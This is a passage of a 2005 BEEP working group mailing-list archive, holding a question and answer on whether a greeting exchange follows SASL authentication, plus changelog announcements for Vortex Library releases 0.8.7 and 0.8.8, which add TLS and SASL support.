<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region" downloadurl=3D"http://www.5iantlavalamp.com/"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place" downloadurl=3D"http://www.5iantlavalamp.com/"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier New"'>Sorry if this has =
been answered
before, but my search through the archives and other online resources =
did not
provide a definitive answer&#8230;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier New"'>Is another =
&lt;greeting&gt;
exchange expected after the SASL profile is used for =
authentication?&nbsp; The spec
implies there is a &quot;tuning reset&quot; after each tuning profile is =
used
and it implies that the SASL profile is a tuning profile, but I can't =
find
examples illustrating a new &lt;greeting&gt; exchange =
either...<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier New"'>It would be =
surprising for a
server to advertise its &#8220;exchange&#8221; profiles before the =
client has
authenticated itself.&nbsp; Not only does this unnecessarily reveal =
information, but
the server might want to select which profiles to advertised based on =
the
authorizations of the authenticated client<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><st1:place =
w:st=3D"on"><st1:country-region
 w:st=3D"on"><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;
  font-family:"Courier =
New"'>Kent</span></font></st1:country-region></st1:place><font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;font-family:"Courier =
New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C5DE4A.6A38072B--
From mrose@dbc.mtview.ca.us Mon Oct 31 12:52:41 2005
Received: from mail.sarbserve.com (mail.sarbserve.com [24.244.171.76])
	j9VKqeh7011184
	for <beepwg@lists.beepcore.org>; Mon, 31 Oct 2005 12:52:41 -0800
Received: from [IPv6:::1] (mrose@localhost.localdomain [127.0.0.1])
	j9VKqQDZ016122;	Mon, 31 Oct 2005 12:52:30 -0800
In-Reply-To: <B8C821F9E0675D44BFA994C28C0120E5584E30@antitop.jnpr.net>
References: <B8C821F9E0675D44BFA994C28C0120E5584E30@antitop.jnpr.net>
Mime-Version: 1.0 (Apple Message framework v734)
Content-Type: text/plain; charset=WINDOWS-1252; delsp=yes; format=flowed
Message-Id: <FCE504F4-A611-441E-A388-0190E86E1B4D@dbc.mtview.ca.us>
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] <greeting> after sasl?
Date: Mon, 31 Oct 2005 12:52:26 -0800
To: Kent Watsen <kwatsen@juniper.net>
X-Mailer: Apple Mail (2.734)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id j9VKqeh7011184
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 31 Oct 2005 20:52:41 -0000

> Sorry if this has been answered before, but my search through the  
> archives and other online resources did not provide a definitive  
> answer…
>
>
>
> Is another <greeting> exchange expected after the SASL profile is  
> used for authentication?  The spec implies there is a "tuning  
> reset" after each tuning profile is used and it implies that the  
> SASL profile is a tuning profile, but I can't find examples  
> illustrating a new <greeting> exchange either...
>
>
>
> It would be surprising for a server to advertise its “exchange”  
> profiles before the client has authenticated itself.  Not only does  
> this unnecessarily reveal information, but the server might want to  
> select which profiles to advertised based on the authorizations of  
> the authenticated client

authentication, per se, doesn't qualify as a tuning reset; however,  
if the sasl method also involves additional security features, viz.,  
integrity/privacy, then that does get you a tuning reset.

/mtr


From francis@aspl.es Fri Nov 18 11:51:33 2005
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])jAIJpVNg021957;	Fri, 18 Nov 2005 11:51:32 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EdCFI-0002Ux-00; Fri, 18 Nov 2005 20:50:04 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>, BEEP <beepbuilders@lists.beepcore.org>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 18 Nov 2005 20:52:41 +0100
Message-Id: <1132343561.17418.4.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1EdCFI-0002Ux-00*Ok/J4MuXNKs*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id jAIJpVNg021957
Subject: [BEEPwg] [ANN] New Vortex Library release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 18 Nov 2005 19:51:33 -0000

       ##########################################
       ## Vortex Library 0.8.7 Stable Release  ##
       ##########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.8.7 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped into TCP/IP.

  Vortex Library is a powerful toolkit to write new application
  protocols and application over the well-defined "BEEP Core" protocol
  defined at RFC3080/RFC3081. 

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]
   
    - http://www.beepcore.org
      [BEEP Core official web page]

The release in short
~~~~~~~~~~~~~~~~~~~~

  This new relase adds support for missing features such as:
  one-to-many full support, localize and features greetings attribute
  full support, BEEP peer role support and extended start channel
  handling.

  This release also comes to solve some errors found under heavy data
  transfer situations, having in that context, applications failing
  (or behaving badly) while receiving data from Vortex Library
  servers.


Changes since 0.8.6
~~~~~~~~~~~~~~~~~~~

* [new] adding a new enumerator to represent the connection role:
VortexPeerRole.

* [new] implemented new function vortex_connection_get_role which
allows to get current role for a given connection. API added was: 
 - vortex_connection_get_role

* [improve] adding initialization code for global variables inside the
vortex
sequencer code.

* [new] Added support for missing one-to-many message exchange style.
Added
  missing features and checkings at the vortex reader especially those
  designed for ANS and NUL frames. API added was:

  - vortex_channel_send_ans_rpy
  - vortex_channel_send_ans_rpyv
  - vortex_channel_finalize_ans_rpy

* [improve] Upgraded vortex sequencer to support the basic case of
  sending empty frames. Modifying vortex_frame_build_up_from_param
  function to support building empty frames. Updating vortex reader to
  support delivering and joining several ongoing ANS
  replies. Implemented additional checkings for NUL frames received,
  described at the RFC. Updating joing frame section code to simplify
  it.

* [new] adding new functions to vortex frame module:
    - vortex_frame_are_joinable
    - vortex_frame_are_equal

* [improve] updating vortex-client tool to allow receiving events from
  the remote peer such as frame received, close received. Added two
  new commands "log" and "color log" which enables vortex log. Added
  support to vortex-client to show current features and localize
  functions recevied from the remote peer.

* [new] adding a new server example which replies with one-to-many
  exchange styles. Added lot of documentation to explain how to use
  one-to-many message exchange under the Vortex Library.

* [new] adding support to configure the features and localize
  attributes for the initial greetings. Added new functions to vortex
  greetings module to support this new change (documentation also
  added):

   - vortex_greetings_set_features
   - vortex_greetings_get_features
   - vortex_greetings_set_localize
   - vortex_greetings_get_localize

* [bug fixed] making vortex sequencer to use the ansno value rather
  than a plain 0 as a fixed value.

* [bug fixed] fixing vortex_connection_close_all_channels function
  which is used directly by vortex_connection_close. This function was
  not releasing properly a mutex and, under some circumstances, the
  function was not clearly reporting the right channel closing status.

* [new] adding three new function: vortex_log_enable,
  vortex_color_log_enable and vortex_color_log_is_enabled. This
  enables an API which allows to manage console log.

* [bug fixed] making vortex listeners to *parse* greetings received.

* [new] adding a new function to vortex channel module:
  vortex_channel_new_full, which support all options available while
  creating channels: profile content, serverName, encoding.

* [improve] refactoring source for vortex_channel_new and
  vortex_channel_new_full to use the same version.

* [new] adding a new internal support function:
  __vortex_channel_build_start_message to support building start
  message according to values received: channel num, profile, profile
  content, serverName, encoding, etc.

* [new] added new type: VortexEncoding to support reporting which
  encoding is being used for the profile content data.

* [bug fixed] fixing wrong vortex_connection_ref and
  vortex_connection_unref aligment inside the vortex sequencer module,
  vortex channel module (invoke frame received code) and vortex
  profile module (invoke frame received code) which was causing to get
  the connection unrefered one time at some conection broken
  escenarios having data being delivered to application level.

* [bug fixed] fixing a bug at vortex_connection_ref. The function was
  checking if the connection to ref was ok but this is not required
  for the purpose of the function making to be unrefered the
  connection inside the code block holded by the ref/unref pair. Now
  the function ref and unref the connection only checking if the
  received connection is not null.

* [new] adding a new module to implement support function used across
  vortex library.  Currently it implements only vortex the function:
  vortex_support_free, which allows to perform several deallocation
  operations at the same time.

* [new] implemented RFC3080 required to automatically asign odd
  channel numbers for those connections in initiator role and even
  numbers for those acting as listener role.

* [new] adding support for an extended start message reception. Now it
  is posible to register an extended version for the start handler
  which allows to get access to all available options received on
  channel creation request. Previous code writed with the normal
  start handler keeps running. This is implemented throught a new
  function:

   vortex_profiles_register_extended_start

  which allows to register an extended start, which overrides the
  start handler defined.  Added more documentation explaining how to
  use the start handlers and how they interact.


* [improve] modified vortex_profile_is_start_defined to return if an
normal
  start or extended one is already defined.

* [improve] modified vortex_profile_invoke_start to invoke the
  extended start defined or the normal start handler if the previous
  wasn't being defined.

* [improve] adding some additional checks to vortex_hash_foreach
  function to avoid iterating over an empty hash.

  

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distribuited application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distribuited nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services on how organization can introduce GNU/Linux
  inside its process, making other platforms to interact with
  GNU/Linux.

  You can reach us:
       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!
         
--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
18th Nov 2005, Madrid (Spain)  


From francis@aspl.es Tue Dec 20 08:25:35 2005
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])jBKGPXlj016808
	for <beepwg@lists.beepcore.org>; Tue, 20 Dec 2005 08:25:34 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EokHx-0006Sw-00
	for <beepwg@lists.beepcore.org>; Tue, 20 Dec 2005 17:24:33 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Tue, 20 Dec 2005 17:26:11 +0100
Message-Id: <1135095971.3970.73.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1EokHx-0006Sw-00*rg00ZcKfDW.*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id jBKGPXlj016808
Subject: [BEEPwg] [ANN] Vortex Library 0.8.8 is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Dec 2005 16:25:35 -0000

       ##########################################
       ## Vortex Library 0.8.8 Stable Release  ##
       ##########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.8.8 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped into TCP/IP.

  Vortex Library is a powerful toolkit to write new application
  protocols and application over the well-defined "BEEP Core" protocol
  defined at RFC3080/RFC3081. 

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]
   
    - http://www.beepcore.org
      [BEEP Core official web page]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  TLS and SASL profiles (ANONYMOUS, PLAIN, EXTERNAL, CRAM-MD5 and
  PLAIN) have been implemented.

  And many more minor features, keep on reading..

Changes since 0.8.7
~~~~~~~~~~~~~~~~~~~

* [new] added support to allow Vortex programmers to define the
  handlers to be used while sending and receiving data. This will
  allow to implement any required features which needs to modify how
  data is send and received inside the Vortex including those profiles
  which use other function than send and recv. API added was:

   - vortex_connection_set_send_handler.
   - vortex_connection_set_receive_handler.
   - Handler: VortexSendHandler.
   - Handler: VortexReceiveHandler.
   - vortex_connection_default_send (private function)
   - vortex_connection_default_receive (private function)
   - vortex_connection_invoke_send (private function)
   - vortex_connection_invoke_send (private function)

* [improve] making vortex library to allow programers to configure if
  it is going to be built with TLS support or not. API exported in
  both cases will be the same, allowing the undefined error due to not
  found API. API exported for TLS will report to app level if the
  library being used have enabled TLS support.  Modified autotools
  files and source code to support this issue.

* [fix] adding a memset to 0 at vortex_frame_readline function.

* [new] adding support to vortex client tool to be able to support
  enabling TLS profile support.

* [new] adding support to notify when a connection have being closed
  through a VortexConnectionOnClose handler. This allows to perform
  some especific operations over connection closed. Connection Close
  is executed just before its resouces are deallocated. Added API to
  allow setting the on close handler:

  - vortex_connection_set_on_close [public]

* [fix] making vortex_connection_close_all_channels to be public so
  profile implementators could use it.

* [new] adding support for implicit piggyback support. Now, piggyback
  message sent at the start message or on its reply, is notified to
  the user space as a received frame. This allows to support with the
  same source code replies with piggyback or withtout it. Added API:

  - vortex_channel_have_piggyback [public]
  - vortex_channel_get_piggyback  [public]
  - vortex_channel_set_piggyback  [private]

* [new] added a new top level mechanism to receive frames in a
  synchroumos manner without using wait reply which is more especific
  and expensive. This method is based on two functions:

  - vortex_channel_queue_reply [public]: which just queue any frame
    received into a user space queue.

  - vortex_channel_get_reply [public]: which fetch the next frame
    recevied on the selected queue, including support to fetch the
    optional piggyback received.

* [new] added new function to create VortexFrame instances from user
  space data:

  - vortex_frame_create [public]

* [fix] add to vortex connection creation a socket sanity check to
  avoid creation socket connections using OS reserved file descriptors
  which could only cause problems.  However, a function is provided to
  avoid executing the sanity check:

   - vortex_connection_sanity_socket_check

* [new] added new vortex-tls-listener.c example TLS profile server.

* [fix] updating extended start handler definition to allow app level
  to define a piggyback at the start reply
  (profile_content_reply). Updating source code which where invoking
  start extended definition.

* [fix] while closing the channel 0, as a last step for closing a
  connection, on some system there were producting a race condition
  between the code flagging the channel as being closed and the code
  that use that flag on the channel close reply to know that the
  connection has been closed properly. Reordered vortex_channel_close
  flagging code to execute in the proper position.

* [fix] fixing vortex_channel_get_reply, it was calling to
  vortex_channel_get_reply instead for vortex_channel_get_piggyback
  inside it.

* [new] starting to add support for TLS server side
  configuration. Currently this is done by using
  vortex_tls_accept_negociation which signal vortex library that TLS
  negociation is supported. This function also install all default
  handlers to be called to enable, negociate and notify for the user
  app all incoming TLS requests.

* [fix] fixing vortex_profile_invoke_start to use the new API, which
  provides access to the profile_content_reply to be used as a
  piggyback.

* [fix] adding a getpid portable definition vortex_getpid which maps
  correctly to the right function on gnu/linux and windows platforms.

* [new] adding a new definition VORTEX_SOCKET which maps to the right
  value on windows plantform and gnu/linux ones. Modifying
  VortexConnection definition to use this value.

* [fix] making vortex library to be Visual Studio 2005 compatible.
  Modified source code so it could be compiled on both platforms:
  windows and gnu/linux.

* [fix] fixing a wrong new line implementation. Portable way to write
  new lines to detect \r\n is to use \x0D\x0A.

* [fix] fixing an API bug at vortex_init function. It wasn't returning
  any initialization error code so, if something gos wrong application
  level couldn't check that status.

* [fix] updating vortex-client to use the vortex_init return value to
  check library initialization status.

* [new] adding support to vortex connection module to configure if the
  underlaying connection should be closed or not when a vortex
  connection instance is closed (actually when the channel 0 is
  closed). Added new API to allow configure this:

   - vortex_connection_set_close_socket

* [fix] fixing vortex channel implicit piggyback process and
  notification.

* [fix] moved all BEEP channel definition messages (start, ok, error,
  ..) to be generated only from vortex frame factory
  module. Implemented new functions to produce this messages:

   - vortex_frame_get_ok_message
   - vortex_frame_get_error_message
   - vortex_frame_get_start_message
   - vortex_frame_get_close_message
   - vortex_frame_get_start_rpy_message

* [fix] updating Vortex Library source due to previous change. Now,
  every channel management message used is build and created by the
  vortex frame module.

* [fix] adding client side TLS profile prototype mostly completed. It
  starts TLS channel negociation, process reply (either implicit or
  explicit) closes channels opened and call to TLS-ficate.

* [fix] adding some memory cleanups before using xmlValidCtx stack
  activated values.

* [new] updating vortex_connection_new_empty function to be public and
  able to create a new connection starting from an already connected
  socket and a role. Updating listener internal implementation to
  conform the change introduced.

* [fix] updating vortex_connection_ref/unref documentation.

* [new] adding support to VortexConnection instance to store user
  space data especifying a key/value destroy data functions per item
  stored. API added:

  - vortex_connection_data_set_full

* [new] adding new public function to support greetings reply
  processing and connection activation. This will be useful to
  implement profiles that require tunning reset. API added:

  - vortex_connection_parse_greetings_and_enable

* [new] adding 3 new handlers to support TLS profile at listener peer
  side.

  - VortexTlsAcceptQuery: allows applications level to allow or deny
    incoming TLS negocation request.

  - VortexTlsCertificateFileLocator: allows application level to
    especify the certificate file to be used.

  - VortexTlsPrivateKeyFileLocator: allows application level to
    especify the private key to be used.

* [new] moved common location files function from vortex dtd module to
  vortex support so it could be also used by other modules, and at
  this moment, by the vortex tls module. API added:

  - vortex_support_find_data_file.

* [new] vortex library client side implementation for the TLS profile
  is now complete.

* [fix] fixing extended channel start definition: user space parameter
  was missing in the definition.

* [fix] updating vortex_connection_reconnect documentation. Added an
  code example.

* [fix] updating vortex library documentation, fixing broken
  references.

* [new] added new function to support in an abstract manner how files
  are found inside the Vortex library:

     - vortex_support_add_search_path
     - vortex_support_add_search_path_ref

  Updated vortex_support_find_data_file to use file paths installed by
  previous functions.

* [new] added cleanup function to vortex support module:

     - vortex_support_cleanup 

  This function is automatically called by the vortex_exit function.

* [fix] udpating vortex_init function to install default path to
  lookup for data files.

* [fix] added some additional checks while client TLS request is
  enabled to avoid suposing a transport session is already
  tls-ficated.

* [fix] fixing vortex_init call to add path to search data file
  definitions.

* [fix] fixing bug on vortex_connection_set_data_full, it was swapping
  key and value.
  
* [fix] fixing wrong error checking inside the vortex-client tool for
  open/connect command.

* [fix] fixing wrong socket declarations not using VORTEX_SOCKET.

* [fix] making vortex_support_find_data_file to just return the file
  name found if search path used is "."

* [new] adding initial full working Vortex Library with TLS
  support. Current test have been done to vortex-client tool which now
  support "enable tls" command. API added:

   - vortex_tls_start_negociation [public]
   - vortex_tls_accept_negociation [public]
   - vortex_connection_set_tlsfication_status [private]
   - vortex_connection_is_tlsficated [public]

* [fix] making vortex greetings module to now show TLS profile, even
  if it is registered for those connections already TLS-ficated.

* [fix] on close connection event now works even if several threads
  calls to close the same connection. This event have been used to
  implement the piece of the TLS profile which starts the TLS
  handshake.

* [new] added support to perform pre-read operations inside the vortex
  reader process. This allows to establish user space handlers which
  could perform previous operations to read frames. API added:

   - vortex_connection_set_preread_handler [public]
   - vortex_connection_is_defined_preread_handler [public]
   - vortex_connection_invoke_preread_handler [private]
   - VortexConnectionOnPreRead [public]

* [fix] removing profile content prefix and suffix code actually done
  by vortex_frame_get_start_message.

* [fix] added profile content preffix and suffix to
  vortex_frame_get_start_rpy_message.

* [new] updating user documentation about activating TLS profile. 

* [new] updated main documentation to include references to the new
  profile implemented.

* [new] updated vortex status document to reflect the TLS profile
  implementation.

* [new] added support to implement auto TLS negociation for each
  connection created. This allows to reuse source code already
  implemented that needs to also negociate TLS profile. Conections
  created with vortex_connection_new are returned with TLS profile
  already negociated if auto TLS is activated. API added:

      - vortex_connection_set_auto_tls

* [new] implemented initial timeout support for synchronous operations
  based on:

      - vortex_connection_timeout
      - vortex_connection_get_timeout

  Timeout support is now used to limit synchronous waiting while
  activated TLS support at vortex_connection_new due to auto TLS
  activation.

* [fix] updated function documentation for vortex_connection_new and
  vortex_conection_set_data to explain how to use new mechanisms added
  and how to use a connection to store user space data.

* [new] added support to implement synchronous TLS profile negociation
  through:

      - vortex_tls_start_negociation_sync

  The function does the same as vortex_tls_start_negociation but doing
  it in a synchronous way (blocking the caller).

* [fix] fixing wrong #ifdef-#endif align inside vortex tls module.

* [new] adding support to vortex-client tool to initialize SASL auth
  negociations against BEEP peers.

* [new] added new handler to enable application level to get notified
  about SASL process status. API added:

  -  VortexSaslAuthNotify

* [new] adding new channel start function: vortex_channel_new_fullv,
  which allows to create new channels setting the profile content to
  be piggybacked using a printf-like format. API added:
  
  - vortex_channel_new_fullv

* [fix] fixing a bug on vortex_channel_get_reply which was returning a
  frame that the second level handler invocator unref just few steps
  after. Now the function makes a copy from the frame
  returned. Updated user documentation to advise that the frame
  returned should be unrefered. Implemented new frame copy function to
  perform the fix. API added:

  - vortex_frame_copy

* [fix] reorganizied source code at vortex dtd module to load more
  than the channel management DTD file. Now it is include the SASL DTD
  file. Adding TLS and SASL DTD files.

* [fix] mostly finished the SASL client implementation for the Vortex
  Library.

* [fix] reimplement SASL client implementation to use GNU SASL library
  instead of Cyrus SASL. Vortex SASL support for client side mostly
  completed.

* [fix] improving error detection for start channel error replies at
  vortex channel module.

* [new] adding new handlers to support anonymous and plain profile
  incoming request notification and validation. API added:

  - VortexSaslAuthAnonymous
  - VortexSaslAuthPlain

  Now Vortex SASL implementation invoke previous handlers to notify
  user space that a SASL auth was received to get confirmation to deny
  or to allow it.

* [new] added new functions to allow setting previous SASL handler
  notification:

  - vortex_sasl_set_anonymous_validation
  - vortex_sasl_set_plain_validation

* [new] commiting first fully working SASL implementation for client
  and server side. Already tested with ANONYMOUS profile.

* [new] adding new sasl function to allow checking if a given
  connection is already authenticated.

  - vortex_sasl_is_authenticated

* [fix] making SASL vortex implementation to remove SASL crendentials
  on SALS negociation failures inside __vortex_sasl_notify. Fix having
  previous credentials values mixed with new ones set from previous
  SASL failed negociations.

* [new] adding support to vortex-client tool to show current SASL auth
  status and current SASL auth id for the "connection status" command.

* [new] comming complete SASL PLAIN profile support for both sides.

* [fix] adding sasl start auth sanity checks to avoid starting SASL
  handshake for a given profile without providing all necesary
  security props.

* [fix] adding support for SASL PLAIN profile validation to
  vortex-sasl-listener example.

* [fix] making vortex-client tool to use synchronous API for TLS and
  SASL activation. Now, vortex-client tool support perform SASL
  operations for PLAIN, ANONYMOUS, EXTERNAL, CRAM-MD5 and DIGEST-MD5
  profiles.

* [fix] making vortex_connection_new to use synchronous version for
  TLS activation when auto tls is enabled rather than using the
  asynchronous one.

* [fix] vortex_connection_free was not deallocating memory for
  features and localiza items.

* [new] uploading fully working Vortex version with SASL support for
  client and server side for the following profiles: PLAIN, ANONYMOUS,
  EXTERNAL, CRAM-MD5, DIGEST-MD5. API Added:

   - VortexSaslAuthExternal
   - VortexSaslAuthCramMd5
   - VortexSaslAuthDigestMd5
   - vortex_sasl_start_auth_sync
   - vortex_sasl_set_cram_md5_validation
   - vortex_sasl_set_digest_md5_validation

* [fix] making VortexStatus definition to bind VortexError to 1 and
  VortexOk to 2 to differenciate this values from NULL (or cero).

* [new] updated Vortex manual to explain in detail how to use SASL
  support and piggybacking.

* [fix] adding timeout support for synchronous TLS and SASL negociation.

* [fix] fixing a bug on vortex listener waiting code which was
  unrefereing a queue that on Vortex Listener start up error is null.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distribuited application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distribuited nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services on how organization can introduce GNU/Linux
  inside its process, making other platforms to interact with
  GNU/Linux.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!
         
--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
20th Dec 2005, Madrid (Spain)


From francis@aspl.es Thu Dec 29 13:36:24 2005
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])jBTLaMQ5022869
	for <beepwg@lists.beepcore.org>; Thu, 29 Dec 2005 13:36:23 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Es5S3-0003hH-00; Thu, 29 Dec 2005 22:36:47 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Thu, 29 Dec 2005 22:36:28 +0100
Message-Id: <1135892188.1002.38.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1Es5S3-0003hH-00*K8wu8C2Npfw*
Subject: [BEEPwg] Lightweight RPC over BEEP
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
